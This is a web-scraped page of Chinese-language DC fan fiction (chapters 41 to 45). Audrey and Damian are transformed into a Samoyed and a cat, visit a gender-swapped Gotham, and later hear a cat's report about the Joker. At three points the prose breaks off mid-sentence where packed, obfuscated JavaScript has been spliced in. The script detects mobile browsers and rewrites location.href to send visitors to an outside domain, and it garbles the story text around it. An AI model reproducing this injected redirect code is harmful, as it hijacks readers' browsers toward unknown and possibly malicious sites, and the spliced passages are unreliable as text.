“达米安，你好厉害！”奥德莉被达米安的语言能力震惊了，摇着尾巴去扑达米安。达米安眼见雪山压顶，急忙躲开。但奥德莉受到狗狗心性的影响，毫不气馁地再一次朝达米安奔去。 为了自己的生命着想，达米安不得不飞跃到一个最安全的地方——奥德莉的头顶上。 奥德莉因为头上忽然多出来的重量而使劲摇了几下脑袋，成功把自己摇晕。达米安无奈地用爪子轻轻按了几下，奥德莉这才反应过来，开心地笑起来，顶着达米安飞奔几圈，然后跑到落地镜前。 镜子中，一只中等体积的通体雪白的萨摩耶仰首挺胸地站着，头上趴着一只小小的黑猫，黑猫的绿眼睛犹如宝石般流光溢彩。 “你真好看。”奥德莉在变成萨摩耶后，说话更直白了。 达米安说：“你也很好看。” “但为什么你这么小呢？”奥德莉想不通，“明明你比我高。” 达米安也想不通，而且为此很郁闷。虽然眼神凌厉，但受限于身体大小，他这样子看着一点也不威武，倒更像是奥德莉的毛绒玩偶。 “要是有人能为我们合影就好了。”奥德莉又一次感慨。 达米安伸爪指指房间的数个角落：“刚才我已经打开摄像头了。” “你的房间里有这么多。”奥德莉震惊，然后又欢呼。“那我们就有多机位的高清照片了。” 奥德莉激动得狂摇尾巴，那条洁白的大尾巴就像一根充满诱惑力的逗猫棒，达米安努力控制自己不要转身去抓。奥德莉毫无自觉，陶醉地欣赏镜中的自己和达米安，还很坏心眼地说：“我们现在的体型差，比去年还大。嘿嘿。” 达米安决定顺从猫咪本能，去轻轻咬那条大尾巴一口。 41.第 41 章 想到他们现在的一举一动都会被拍下，可以成为珍贵的收藏，奥德莉开始提要求了：“你站到我的左边爪子下面，假装是我捕获的战利品。你要表现出愤怒、不甘和忧愁。” 达米安很生动地翻了个白眼，但还是照做了。导演奥德莉倾情指导达米安展现饼状图演技：“三分愤怒，不是四分。” 在演员达米安的表情就位后，奥德莉看看自己的巨爪，小心地控制力气：“我要是一不小心踩到你，你大概会变成一团猫饼。” “啧。”达米安很高傲地说：“你肯定踩不到我。” 奥德莉被激起了斗志：“我们来比试一下。” 虽然人形的她打不过达米安，但现在她有体积优势呀。她打算把达米安挤到角落里，让他无处可逃。 达米安看穿了她的小小阴谋，巧妙地闪躲着，而且很有自信地拖到最后一刻才腾挪跳跃，让奥德莉觉得自己其实只差一点点就踩到他了。 最后奥德莉耍赖，侧身躺倒在地上，先微微抬头说一句“我头晕”，然后头一歪装昏倒。 明明知道她在骗人，明明看到她偷偷睁开眼去瞄他，达米安还是很配合地凑过去，故意放慢速度露出破绽，被奥德莉扑到身下。奥德莉很注意，没有把重量压在达米安身上，只是虚虚地按着他，然后骄傲地仰头宣布：“我赢了。嗷呜。” “喵呜。”达米安响应了一声。 “我有点饿了。”身体变形外加刚才的一阵剧烈运动之后，奥德莉忽然觉得饥肠辘辘。她四处看看，盯上了桌上的巧克力慕斯。 “我能吃那个吗？”奥德莉犹豫，“我不是真正的狗狗，应该没事吧。” “稍等一下，我已经给阿福发了信息，他很快就会来喂我们了。”达米安从奥德莉的身下钻出来，坐在她面前，安抚地用爪子摸摸她的前爪。小小的黑色猫爪被萨摩耶的巨大脚掌衬得更小了。 “好吧。”奥德莉决定再忍一忍，然后又被自己的爪子吸引了注意力。她对自己的粉色肉垫喜欢得不行，又对达米安说：“让我看看你的肉垫。” 达米安举起一只小猫爪，奥德莉认真看了看，鉴定道： “你的是灰紫色的。” 玩了一会儿击掌游戏，奥德莉听到角落里传出一声可怜的呜咽声。她看看蜷成一团的巨大萨摩耶，他双眼无神地看着他们玩，完全笑不出来了。 “我们去和超人一起玩吧。”奥德莉提议道。“但他只能听懂你说的狗狗语，你来为我们做翻译。” 在达米安的翻译下，奥德莉和超人很快玩到了一起，两个白团子滚成一团，毛发纷飞。达米安则去帮阿尔弗雷德开门，世界上第一可靠的管家侠送来了食物和水。 “这个香肠好好吃。”奥德莉第一次觉得不含盐和调味品的香肠这么美味，激动得原地转了一圈，然后催达米安尝尝。 达米安矜持地咬了一口，说：“还不错。”然后又去吃他的小鱼干了。奥德莉刚刚也咬了一口鱼干，对它完全不感兴趣。 超人也沉浸在美食之中。他实在是太巨大了，足足比奥德莉大了一倍。 “如果你站在他头顶的话，就像是棉花糖上沾了一粒芝麻。”奥德莉小声地对达米安说。 “那在你头顶呢？” “像块巧克力。”奥德莉还惦记着没吃到的慕斯。 “等你变回去之后，想吃什么都可以。”达米安心领神会。 “这个魔法师有点讨厌，但这个魔法还挺有趣的。”奥德莉感慨。“我一直觉得如果你是动物的话，你就会是一只猫。” “是吗？就像布莱克一样？”达米安忽然说。 “啊？”奥德莉吓了一跳。 “拉撒路池，你第一次见到我的时候，你说‘布莱克！你能变成人了？’”达米安耐心地说，不给她逃避话题的机会。“布莱克是你的宠物吗？” 奥德莉觉得以达米安的骄傲，他不会愿意被误会成是别的猫。于是她抵赖道：“池边风声太大，你一定是听错了。” 面对达米安露出的看穿一切的眼神，奥德莉只好说：“好吧，布莱克是我以前养的猫。” 达米安很肯定地说：“你从没养过猫。” “谁说的？” “你在社交网络的照片里从来没有过宠物。如果你养过猫，你一定发过几百张了。” 奥德莉负隅顽抗：“是我在外面喂养的，没有带回家过。” “所以，你在中东的时候，认为一只远在美国的流浪猫会变成人出现在那里？真是一个非常合理的推测。”达米安慢悠悠地说。 “达米安，我现在是一只萨摩耶。”奥德莉郁闷地说。“我的脑容量不足以支撑我撒谎，你不要再问啦。” 达米安被她的理直气壮逗乐了，见她真的不肯说，便也不再纠结这个问题，继续吃饭。 奥德莉自以为很隐蔽，实则像一座大山一样蹭到达米安旁边，说：“你呢？你觉得我更像是什么动物？” 达米安以前其实没想过这个问题，看到奥德莉歪着头对他微笑着，又想到她刚才横冲直撞的样子，他觉得她变成萨摩耶非常合理。 听了他的评价后，奥德莉自动把所有形容词理解为褒义词，高兴地摇尾巴，还对达米安说：“我感觉我的尾巴像个螺旋桨，可惜我摸不到。你快替我摸摸。” 达米安依言伸出猫爪，认认真真地摸了几下，赞同道：“手感真的很好。蓬松又柔软。” 奥德莉也去摸摸达米安的尾巴，说：“你的也不错。虽然没有我的蓬松，但是很有力量，感觉可以作为武器。” 吃饱喝足之后，奥德莉又有精神了，提出要玩叠叠乐。其实就是奥德莉把超人压在最下面，然后头上顶着达米安。 “有点傻。”达米安评价，但还是同意了，并且翻译给超人听。 超人的脾气很好，变成萨摩耶之后也一样。他老老实实地趴在地上，让奥德莉跳到他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382593|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背上，然后等达米安跳到奥德莉的头上。 “超人清醒后会不会生气？”奥德莉的理智短暂地上线了几秒。 “不会的。”达米安肯定地说。 “那你帮我告诉他，请他带着我们飞起来。”奥德莉又陷入纯粹的玩乐情绪中。“但是不要飞得太高，我变成狗狗之后有点晕高。” 超人体贴地慢慢飞起来，很稳当地飘在空中。奥德莉适应了之后，又要求超人加速以及上下移动，超人一一满足。两只萨摩耶玩得不亦乐乎，达米安完全无法理解其中的快乐，但一直陪着奥德莉为她做翻译。 最后奥德莉玩累了，趴到地上打盹。达米安蹲坐在她旁边，像是一个小小的忠诚护卫。 “几点了？”奥德莉迷迷糊糊地睁开眼，先去喝了点水，又趴回去了。超人在房间的另一边睡得正香，听到动静只是微微睁开眼，又继续睡了。 “凌晨三点。”达米安窝在奥德莉的脑袋边上，用头蹭了蹭她的头。 “哦，那还要两个小时才能变回去。”奥德莉慢吞吞地说。“你一直没睡吗？” “我不困。”达米安说。“你睡吧。” 达米安其实也有点困了，尤其是看到奥德莉在旁边睡得那么香甜，平稳的呼吸声有一种催眠的功效。但他担心超人跑出去撞上别人，觉得自己还是守夜更安心。 “那你能不能提前叫醒我？我担心变回人之后没有及时醒来，这样睡在地上会浑身都疼的。我明早还要上班呢。” “没问题。”达米安说。奥德莉在变成狗狗之后明显脑回路简单了很多，但依然惦记着第二天要上班，真是可歌可泣的打工人精神。 “还有超人，别忘了也叫他。”奥德莉已经半梦半醒了。 “放心吧。”达米安又蹭蹭她。 依偎在十分可靠的达米安旁边，奥德莉安心地再一次陷入梦乡。 月光下，奥德莉就像一片巨大的、温暖的洁白云朵。达米安望着她出神了一会儿，很想去摸摸她毛绒绒的耳朵，天人交战许久，他终于慢慢伸出一只猫爪，却在即将碰到时像被烫到一样猛地缩了回去。 打闹时的肢体接触是一回事，但在这样安静的夜晚，如果他偷偷地去摸她的耳朵，就好像一切都变了质。 达米安默默地坐在那里，在恢复人形的时刻快到来时叫醒了奥德莉和超人。 “我好困。”奥德莉闭着眼睛说。她从来没意识到狗狗这么爱睡觉。超人也是一副睁不开眼的样子。 对付这样的萨摩耶，达米安当然有办法。他叼着两块香肠分别放在两只狗狗鼻子前，看着他俩嗅闻几下之后忽然坐起来，激动地原地转圈感谢上天的馈赠。 恢复人形后，奥德莉和超人回想起发生的事情，一个比一个尴尬。超人强撑着道谢，然后冲向天空飞走了。 奥德莉也很想马上传送离开，但走之前还是坚强地叮嘱：“记得把监控录像存好，给我一份。” 43.第 43 章 真正的达米安娜和蝙蝠侠并不在哥谭，她们与超人及其女儿乔安娜一起去外星系执行突发任务了。与每次类似的情况一样，“夜翼”蕾切尔从布鲁德海文警局请了年假，换上蝙蝠披风代班。 女管家阿尔弗蕾达将一封信交给奥德莉和达米安：“布鲁茜夫人和达米安娜小姐让我转交给你们。” “她们知道我会来？”奥德莉大吃一惊。 阿尔弗蕾达点点头：“她们在信里写得很清楚。” “那我呢？”达米安娜问。 “我已经为您准备了客房。她们很期待在回来之后见到您。”管家说。 “如果我能活到那一天的话。”达米安娜说，但心情看起来好了一些。 奥德莉拆开信，达米安和她头凑头地一起看。奥德莉还很小心眼地瞥一瞥达米安娜，生怕她靠近他们看到信的内容。达米安娜“哼”了一声，坐到离他们最远的位置。 【奥德莉，达米安， 很遗憾这次没有机会再见到你们。你们一定很好奇，为什么大家从未谋面，我们却知道你们会来。 正如科学家们一直以来的推测，时间是非线性的。我们的初次见面证明了这一点。那次见面对于你们而言是未来，对我们来说则是过去。 奥德莉曾经疑惑，我们的见面是否意味着即将发生的事情注定无法改变，命运已经被书写好而她只是执行者。 很抱歉，这个问题我们依然无法回答。如果我们在信里告诉你一个上次见面时你不知道的秘密，那是否会改变我们初见时的情景？或者时空会自我修正，让事物回到最初的轨道？ 奥德莉本想做一个试验，但最终她改变了主意，认为那样太冒险了。所以我们也许永远不会知道答案。 但我们仍相信自由意志，以及一切的决定和行为都是有意义的。 祝你们回程顺利。 布鲁茜和达米安娜】 “看起来我们还会再来这个世界一次。”奥德莉眼睛亮晶晶地说，“还能见到你真正的同位体。” “她们不会有太大区别的。”达米安故意用奥德莉能听见的音量嘀嘀咕咕。“为什么还要再见她。” “我们会再来肯定是有原因的，虽然我目前想不出来可能发生了什么。”奥德莉说。“顺便见见她嘛。我觉得她是个很有魅力的大姐姐。” “那我们今天回去？”达米安油盐不进地问。 “韦恩女士也不在，阿尔弗蕾达说她去滑雪了。那我们除了逛逛哥谭等着回去的时刻，也没什么其它好做的了。” 达米安娜听到奥德莉的话，意识到她不知道蝙蝠侠的身份，张嘴想说什么，阿尔弗蕾达已经在不知何时站到她身后了。达米安娜默默扭开头，不去看那两个年轻人了。 “你要不要去和她聊聊？”奥德莉瞥见达米安娜的小动作，误解了她的意图，于是戳戳达米安。 “她需要好好聊聊的对象不是我。”达米安冷酷拒绝。 “对了，我之前误解了你和蝙蝠侠的关系，你怎么不纠正我呢。”奥德莉又戳戳达米安。“她有父亲，那说明你有母亲。蝙蝠侠是你的养父，不是亲生父亲，这又不算什么大事。我又不是因为你是蝙蝠侠的孩子才和你成为朋友的。在你心里我是这样的一个狂热粉丝吗？” 蝙蝠侠已经对奥德莉称得上信任了，当然是以蝙蝠侠那种设计出数种应对方案以备不时之需的方式。蝙蝠侠的真实身份已经呼之欲出，但奥德莉每次面对蝙蝠侠时，就像超人一样，很节约地使用脑子，生怕多消耗一个脑细胞。 达米安一听这个更新版的谣言，立刻觉得头大，更为她永远能逻辑自洽地磕cp感到无话可说。他真担心如果有一天奥德莉知道了蝙蝠侠的真实身份，她还是会装鸵鸟到底，自欺欺人地给自己洗脑。 如果蝙蝠侠在奥德莉面前摘下面具，达米安毫不怀疑她会捂住眼睛大喊“韦恩先生请不要cosplay蝙蝠侠”，或者当场催眠自己刚才无事发生。 不过这种症状也不是她一个人独有的。正义联盟的大多数人在知道蝙蝠侠的真实身份是布鲁斯·韦恩之后，会下意识地在心里把他们当成两个人对待。这并不是因为对蝙蝠侠的两个身份有任何意见，而是因为他的两个身份的行为举止差异太大，旁观者容易精神分裂。为了自己的精神健康，别人只能跟着他的节奏出演。 达米安无话可说，奥德莉看他鼓起脸，忍不住又戳了一下，然后在被他抓住手指前跳起来，去找管家借一辆车开。 “您上次说想开那辆银色奔驰，已经准备好了。” 达米安娜站起来：“我能和你们一起去吗？” “我们换辆跑车开，只能坐两人的那种。”达米安又一次对奥德莉小声嘀咕。 达米安娜不吵不闹，只是流露出哀愁的眼神，说：“我还没亲眼看过哥谭。在离开人世前，我也想和朋友一起看看风景。” “很好，我们可不是你的朋友。你另找别人吧。”达米安说。 “算了，带上她吧。”奥德莉心软了。达米安娜有一张成熟美艳的脸庞，在她露出落寞的神色时，哪怕知道她可能是装出来的，旁人看了还是会心生不忍。何况她是真的时日无多。 达米安“啧”了一声： “如果她太烦人，我们就把她丢回来。” “好好好。”奥德莉说，下一秒被达米安娜挽住臂弯，亲亲热热地和她朝车库走去。 达米安几乎要进化出热视线了，恨不得用目光在达米安娜身上射穿几个洞。奥德莉安抚地对他笑笑，用口型说“临终关怀”。达米安撇撇嘴，勉为其难地点头表示自己会忍耐的。 达米安娜却乘胜追击，说：“为什么我的本体不认识你的同位体呢，我要建议她去找你结交。这里的你一定是一个温柔的绅士，不像某些小男孩。”她意有所指地看看穿着帽衫的达米安。 还没等达米安开口，奥德莉先严肃地说：“你要是再这样故意惹他不开心，我们就不带你了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403552|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >达米安娜撇撇嘴，但没再说这些阴阳怪气的话。达米安给她一个得意的眼神，然后快步走到最前面去了。 和看哪里都觉得新鲜的达米安娜逛了逛市区之后，奥德莉指挥达米安朝阿卡姆开去：“我想去看看毒藤女，哦不，毒藤男。” 达米安娜说：“我知道这个人，他有超能力，可以控制植物。” 奥德莉实在很好奇，忍了又忍，还是问了，不过先声明道：“如果这个问题不恰当，请无视它。” “你想问什么都可以。”达米安娜笑眯眯地说。达米安默默咬牙。 “你有达米安娜本体的所有记忆吗？”奥德莉问。 “大部分吧。在她离开刺客联盟去哥谭之前，父亲备份了她的记忆。之后每一次她回刺客联盟的时候，父亲都会更新备份。” “她没有异议吗？”奥德莉不能理解。“还是她不知道记忆备份的用途？” “她当然知道用途。父亲承诺只会将记忆用于克隆体身上，不会去私自浏览，她便同意了。”见奥德莉一脸震惊，达米安娜很随意地说：“这没什么稀奇的。蝙蝠侠也会定期做记忆备份，防止在不知道的情况下被人侵入大脑甚至被洗脑或失忆。” 奥德莉的视线飘向达米安，猜测他大概也会定期去刺客联盟上传记忆。达米安娜注意到了，说：“他肯定也一样。” 达米安没吭声，默认了。 从小他就知道，他的出生是因为刺客联盟想要培养一个强大的武器。他的外祖父和母亲很少对他表示出关爱，尽管他们是爱他的，像爱一把锋利的弯刀。他知道刺客联盟还有无数的克隆胚胎，随时可以被催熟并取代他。他必须证明自己是最强的、无可替代的，否则他就失去了存在的意义，会被替换掉。 他一直以为只有他足够强，他才能得到母亲的表扬和外祖父赞誉的目光。直到他来到哥谭，发现世界上还有另一种家庭模式。 达米安对自己的经历并不难过，但奥德莉对他的同位体的克隆体态度温和，令他冒出一种担忧。 塔利亚尚未激活过他的克隆体，但如果有一天她那么做了，奥德莉是否能分清他们呢？毕竟克隆体有他的记忆，记得他与奥德莉的相处——虽然灌入的记忆和亲身体验总会有一点差别，更像是看电影的感觉。 达米安握紧了方向盘，偷偷从后视镜去瞄奥德莉，发现奥德莉正在担忧地看着他。此时此刻，她的眼里只注视着他。 “我们到了。”达米安娜提醒，避免了开过头还需要再绕回去的悲剧。 “我来给大家上个隐蔽buff。”奥德莉领着两人熟门熟路地走到病人活动室，去围观那些与她记忆中不一样的病人。 “毒藤男的头发比毒藤女的更红，我还是更喜欢她的发色。”奥德莉真想画下来给毒藤女看看，但想到她对自己画作的不友善评论，决定放弃这个尝试。 “女版双面人的西装明明是很浮夸的设计，但看起来和她的气质绝配。”奥德莉继续感慨。 44.第 44 章 参观了阿卡姆之后，奥德莉总结道：“这个世界的时尚水平比我们那里更高，每个人都很注意服饰搭配。不知道这里是阿卡姆的人，很可能误以为这里是先锋时尚设计师聚集之地。” 达米安娜一副与有荣焉的样子，说：“罗宾制服也是这里的更好看吧？”出门前她换了休闲装扮，不过刚见面时，她穿的是最新一代的罗宾制服。 奥德莉不想助长她的气焰，但否定的话又太违心了，于是没作声。达米安娜却不肯放弃，掏出手机搜索历代罗宾制服给她看：“这些都是哥谭群众拍的，有点模糊，但也能看清许多细节。我觉得一定比你们的更好看。” 达米安偷偷瞥了一眼，脸色难看起来——迪克·格雷森，你的绿鳞小短裤遗患无穷。同样是以马戏团戏服为灵感，为什么你的同位体就可以设计出又得体又亮眼的制服？ “附近城市的义警也都穿得不错。”达米安娜又搜出布鲁德海文群众拍的照片。“你看夜翼的制服，连一些大都会人都说比超人的还好看呢。要知道，大都会人对超人的无条件推崇可是出了名的。” 即使是夜翼制服，这里的也明显更好看。迪克那件紧身制服简直到了有伤风化的程度，之前有罪犯挑衅地打出标语，隔空喊话说“夜翼屁股的高光照亮了布鲁德海文的夜空”。翘屁嫩男迪克带着吉姆和胡安（他的左臀和右臀的名字）回到韦恩庄园抱怨，结果包括老管家在内没人同情他，他郁闷地带着阿尔弗雷德给他打包的食物走了。 达米安又想到自己的制服，和达米安娜之前穿着的罗宾制服相比一番，不得不承认对方的可能是有那么一两处可以参考借鉴。 “好看有什么用，制服的功能性最重要。”达米安心里怎么想不重要，输人不输阵地嘴硬到底，甚至没意识到自己已经让步承认了对方的衣服更好看。 知道绿鳞小短裤造型的奥德莉忍不住看了达米安一眼，不去戳穿他，免得他被气得炸毛。 趁着奥德莉心情好，达米安娜问道：“你们俩想不想参加夜巡？夜翼一个人帮忙照看哥谭，难免顾不过来。” “是你想参加吧？”达米安毫不客气地说。“不用拉上我们。夜翼最心软，你们的大概也一样，你求她两句她就会答应了。” 被戳穿心思的达米安娜不理他，只去看奥德莉。 “我不想给哥谭留下更多的都市传说。”奥德莉摇摇头。“我相信达米安的判断，你可以自己去找夜翼说。” 达米安娜不肯放弃，玫瑰色的脸颊靠得更近了，试图用可怜的眼神去打动奥德莉—— “你在发高烧！”奥德莉忽然意识到为什么达米安娜的脸这么红了，用手轻触她的额头，被滚烫的温度吓了一跳。“你怎么不说呢？” “说了又有什么用？”达米安娜毫不在意。“这又不是普通的生病，没有药能治好我。” “你应该已经难受得不行了吧，还强撑着四处跑，你太能忍耐了。”奥德莉叹气，强行将达米安娜拉到车上，让达米安送他们回韦恩庄园。“我想这种情况下，管家不会允许你去夜巡的，你也别想着偷溜。” 达米安娜虽然是强弩之末，但对付奥德莉还是没问题的。可她选择顺从，把头靠在奥德莉的肩膀上，炙热的呼吸几乎要将奥德莉烫伤。达米安这次没说什么。 奥德莉帮达米安娜整理了略带凌乱的额发，达米安娜看着她，忽然问：“是否因为你这次见到了我，担心我的本体会将你说的信息备份而泄露到克隆体那里，所以在你下一次来的时候，你故意瞒了她一些事情，只告诉了蝙蝠侠？” “我不知道未来的事情。”奥德莉说，“但你说的很有可能，听起来像是我会有的思路。” “所以你始终觉得我是坏人。”达米安娜不高兴地说。 “我只是顺着你的猜测往下说而已，我也许还有其它考虑呢，甚至我可能对蝙蝠侠也隐瞒了一些无伤大雅的信息。”奥德莉说。 “好吧。”达米安娜说。“不过，从你的角度来看，你先认识的达米安娜是我，而不是她。我才是最先出现的那个。” “对。”奥德莉顿了顿，又安慰她说：“就算你的记忆是以她的记忆为基础灌输的，与其说她是本体，倒不如说你们是一根树枝上长出的两根枝桠。今天我们的经历，她就没有呀，这是你独有的记忆。” 达米安娜抿了抿嘴：“这是我一个人的，我才不要分享给她。” “你见到她之后，不要和她打架啊，你现在是生病状态。”奥德莉叮嘱。 “如果我们打起来，那一定是蝙蝠侠的原因。子女不和多是老人无德。”达米安娜对蝙蝠侠毒舌攻击道。 奥德莉很想反驳一句“要怪也应该怪她们在刺客联盟的那位父亲”，但看在达米安娜病重的份上忍住了。 将达米安娜托付给管家之后，奥德莉还是打算按照原计划的时间离开。达米安娜没有再多说什么，只是很郑重地和奥德莉道别。 达米安神情晦涩不明地问：“我以为你会想多呆几天，陪她到最后。” “她缠在我身边并不是因为有多么喜欢我，我们才刚见面，怎么会有那么深厚的感情。她只是试图抓住任何一丝温暖和善意，以及为了气你。”奥德莉说。“管家会陪伴她的。希望蝙蝠侠她们能及时回来。” “我可没生气。”达米安抗议道。“我以为你会好奇她的结局，也许正义联盟忽然研究出某种药物，延续了她的生命呢。” “我不想过分参与这个世界的事情。”奥德莉说。“我能为她做的也很有限。我想这也是为什么未来的我拒绝蝙蝠侠帮忙试验时间的影响。” “这是调查员的某种准则吗？” “倒也没有什么明确规定，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415414|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们一直都被叮嘱不要对被观察的人和事物投入太多感情，否则会失去客观的立场。”奥德莉解释说。“不过话虽然是这么说，人是感性的，很多调查员都没完全遵守这个建议，也没有发生什么严重不良的后果。” “所以还是会有一些后果的。”达米安敏锐地抓住了关键词。 “任何事情都有后果，这是一个中性词。”奥德莉说。“但我是异世界不存在的人，和他们打交道的时候，还是想尽量更谨慎一点。我不知道加入我这个变数之后，带来的结果是好是坏。” “也就是说，在你自己的世界里，你不会和人保持这么疏离的关系？”达米安问。 奥德莉盯着达米安看，直到他不好意思地移开视线，然后她装模作样地看看时间，说：“我们该出发了。” 达米安意识到她是在逗自己，要是表现出在意就等于输了这一局。但他依然没去掩饰，露出因她的避而不谈感到的低落情绪。 “我的答案应该已经很明显了吧。”奥德莉捏了捏他的手，带着他回到原本的世界。 “我送你去韦恩庄园吧。”奥德莉说。 “等等，”达米安制止了她。“我想问你，如果我的母亲催熟了我的克隆体，你也会对他这么好吗？” “我对你很好吗？我以为你觉得我和你之间是疏离的关系呢。”奥德莉发现逗达米安是很好玩的事情，他不太擅长掩饰自己的情绪，也可能是傲慢地懒得去掩饰。不过他嘴上说的和脸上的表情经常是南辕北辙，一边说着“我一点也不在意”，一边已经黑了脸。 “你会和他做朋友吗？”达米安换了个问法。 这种问法简直像小学生拉帮结派，你和我做了好朋友，就不能和我不喜欢的另外一个人做好朋友。不过奥德莉能理解在看到达米安娜的克隆体之后，他感受到的冲击是何等震撼。即使他一直都知道有那些胚胎，但真正地看到一个被催熟的克隆体则是另外一回事。 “就算你们有一模一样的基因，甚至一模一样的性格，那你对而我而言也仍然是独一无二的。就像小王子的玫瑰，哪怕他看到五千朵别无二致的玫瑰开放在花园中，他的那一朵依然是无人可以比拟的，因为他亲自浇过水、松过土的就只是那一朵。” 达米安满意了，眉眼舒展开，但嘴里说的却是：“这么简单的问题，你回答得这么复杂。” 奥德莉恼了，戳了达米安一下，抱怨道：“我觉得你就是想骗我哄你。你并没有表现出来的那么难过。” “那你还上当？”达米安任由她戳，得意洋洋。 “因为我想让你高兴一点嘛。你刚才看着可怜兮兮的。” “我确实高兴了一点。”达米安的尾巴要翘上天了。 “以后你再问这种问题，我最多用三个字回答你，免得你又说我的回答复杂。”奥德莉哼了一声。 45.第 45 章 将达米安送回韦恩庄园后，奥德莉看看时间距离上班没多久了，又不感觉困，便找布莱克一起玩。布莱克正在外面夜游，听到奥德莉的呼唤，马上狂奔回来。 作为一只超级捧场的小猫咪，布莱克瞪圆了绿眼睛听奥德莉讲述性别反转的世界，第一反应竟然是：“我真庆幸你不是男性，不然一定不会像现在对我这么好。” “怎么会呢？”奥德莉挠挠布莱克的下巴，“你这么可爱，谁都会宠着你的。” “但是我觉得男性不会这么有耐心陪我玩，也不会这么真心实意地夸我。”布莱克毫无根据地下着结论。“总之我觉得你最好。” “谢谢你的认可。”奥德莉捏捏布莱克的小猫爪。 然后，布莱克肉乎乎的脸上露出一点不怀好意的笑：“女性版的达米安，还是个大姐姐，达米安一定很不爽，嘿嘿。真可惜我不能亲眼看到，他一定黑脸好几次。” “因为我总说我比他大，这是事实他又改变不了。”奥德莉也心知肚明达米安在意这一点，却总是恶趣味地喜欢逗他。 一人一猫对视着，露出坏笑。 “对了，达米安送来了我们变成动物时的录像，你想看吗？” “想！超想看萨摩耶-奥德莉！”布莱克想想又生气起来。“为什么不是我陪着萨摩耶形态的你玩，达米安懂得怎么做猫吗？他懂得怎样摇尾巴体态最优美吗？哼。” 抱着这样挑刺的心态，布莱克对视频里的黑猫-达米安挑出一万个错处，把它形容为猫中之耻，一会儿说它体型太小像个小黑点（“好熟悉的描述”，奥德莉暗暗想），一会儿说它过于灵活不稳重。 与此同时，它还吹嘘萨摩耶身姿雄伟又矫健，对奥德莉刚刚变身时的几次脚滑视而不见。在萨摩耶-奥德莉把黑猫-达米安“擒获”时，布莱克更是毫无底线地夸赞她勇猛无双。 奥德莉被夸得飘飘然，也不去戳破布莱克的小心思，结果它变本加厉地提出建议：“你可以以此为灵感画一幅画，一只萨摩耶和两只黑猫一起玩耍。不过记得要把我画得比另一只猫更好看，要显著地更好看。” “你是真的想把达米安气死。我才不要参与你们黑猫之间的明争暗斗，我只是一只棉花团子。”奥德莉坚定地拒绝参与猫猫斗争。 “你的实习快结束了。回纽约之后，我想去百老汇看演出。”品味高雅的猫猫侦探气得用爪子敲桌子，然后换了个要求。 “这个没问题，安排。”奥德莉立刻答应。 “猫猫侦探可以告诉你一个秘密作为报答。”布莱克满意了，又开始神秘兮兮。 “不会又是偷听来的什么隐私吧？”奥德莉警惕起来。她真的不想知道太多别人的身份秘密，演起来很累的。 “这次是靠我的推理和智慧。”布莱克高傲地仰起胖胖的脖子，让总身高增加了不到半厘米。“我发现，小丑可能要搞个大事情。” 虽然小丑不是维斯勒医生的病人，但这个名字在哥谭人尽皆知。由于小丑的高危险性，他被单独关押，奥德莉从没有见过他。 “啊？”一听说是小丑相关的事情，奥德莉感觉鸡皮疙瘩都冒出来了，立刻坐正身体：“这是怎么回事，快讲讲。” “我时不时会四处闲逛嘛，我无意中逛到了小丑的病房。他住在顶楼……” “你这根本不是无意闲逛，而是目的性很强地去专访吧。”奥德莉吐槽。 “我好奇嘛。”布莱克无辜地歪歪头，“然后我发现他连续两个晚上偷偷和人碰面。他的感知非常敏锐，我甚至怀疑他能看到我，因为他不怀好意地朝我所在的方向看了两次。” “不要怕，他大概是感知到了你的神秘气息。”奥德莉看看下意识缩缩脖子的布莱克，心疼地摸摸它的耳朵。“这么说来，他的确是少有的敏感之人。” “我不怕！”布莱克挺挺胸膛，然后说出自己的依仗：“他难道还能去漫宿追杀我吗？” 奥德莉被它逗笑了，又问：“他看起来神志正常吗？” “他画着五颜六色的妆容，难看极了，我觉得只凭这一点他就不正常。”布莱克说。“但是他在独处的时候非常沉静，和常人无异。不过我能感觉到他的灵魂是一团污秽，就像是最邪恶的事物被压缩到了一起。和他在一起待几分钟，我就非常不舒服。” “所以你没有听到他的具体计划，只是发现他和人见面。”奥德莉总结。 布莱克觉得有点不好意思，因为它的行为确实显得很胆小。它赶紧强调道：“如果不是要搞事情，他怎么会和人偷偷碰面？我想这一证据已经足够让本侦探做出推断了。” “这倒是，光是这一点就很可疑了。”奥德莉赞同。“他会面的人，你看清楚样子了吗？” “是一个男人，身材中等。” “呃……好有用的信息，大概囊括了地球上三分之一的男人吧。”奥德莉实在没忍住去嘲笑这只小猫咪。“这点信息告诉警察他们都不一定会受理。不过上报给蝙蝠侠倒是足够了，他一定会重视的。” 